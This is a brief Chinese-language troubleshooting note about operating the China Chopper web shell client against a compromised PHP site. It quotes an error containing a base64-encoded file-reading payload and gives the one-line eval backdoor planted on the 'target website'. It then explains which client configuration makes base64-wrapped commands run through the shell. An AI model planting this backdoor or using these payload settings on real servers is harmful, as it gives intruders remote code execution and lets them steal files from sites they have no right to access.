菜刀问题1：
PHP Notice: Undefined index: // 错误代码：500 QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtpZihQSFBfVkVSU0lPTjwnNS4zLjAnKXtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO307ZWNobygiYEB+Iik7JEY9J0M6XFxwaHBTdHVkeTRJSVNcXFdXV1xcdGVzdDBcXHRlc3QxXFx0ZXN0MlxcbGxsbGwucGhwJzskUD1AZm9wZW4oJEYsJ3InKTtlY2hvKEBmcmVhZCgkUCxmaWxlc2l6ZSgkRikpKTtAZmNsb3NlKCRQKTs7ZWNobygiYEB+Iik7ZGllKCk7 in C:\phpStudy4IIS\WWW\test0\test1\test2\shell.php(1) : eval()'d code on line 1
原因菜刀密码正确，但菜刀配置不正确，类似：
目标网站一句话木马：<?php eval($_POST['caidao'])?>
错误配置：<PHP_BASE>标签内容： base64_decode($_POST['%s']);
正确配置：eval(base64_decode($_POST[id]));&id=%s
或 eval(base64_decode('%s'));
